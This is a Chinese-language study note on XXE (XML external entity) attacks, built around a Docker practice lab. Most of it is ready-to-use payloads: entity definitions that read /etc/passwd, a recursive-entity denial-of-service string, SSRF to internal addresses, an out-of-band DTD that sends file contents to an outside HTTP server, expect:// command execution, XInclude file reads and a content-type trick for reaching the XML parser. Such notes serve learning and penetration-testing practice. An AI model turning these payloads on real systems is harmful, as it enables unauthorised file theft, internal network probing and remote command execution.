XXE笔记
搭建环境
搭建xxe环境
docker pull rrodrigo/xxelab
docker run -d --name="xxe" -p 80:80 rrodrigo/xxelab
XXE原理
当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。
XXE利用
在这个靶场中,我们可以看到响应返回了邮箱的值。
因此,我们可以利用这一点,使用DTD语法定义命令执行的变量,再将变量填写在邮箱值的位置,就可以看到响应执行了变量内容。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "/etc/passwd">
]>
<root><name>123</name><tel>123</tel><email>&file;</email><password>123</password></root>
响应内容中包含命令执行的结果
攻击方式
拒绝服务攻击
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。
文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
]>
<data>&file;</data>
SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://10.10.10.10:80" [
]>
<data>&data;</data>
OOB blind
在服务器上存放如下文件xxe.dtd
<!ENTITY % file SYSTEM "file:///C:/jayway.txt">
<!ENTITY % all "<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">
%all;
调用命令
<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://10.165.89.150:88/xxe.dtd">
<data>&send;</data>
RCE
利用PHP的Expect模块执行id命令
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "expect://id" >
<data>&xxe;</data>
XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="file:///etc/passwd" parse="text"></xi:include></data>
其他姿势
修改内容类型
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如 application/x-www-form-urlencoded
。某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以提交以下请求,得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。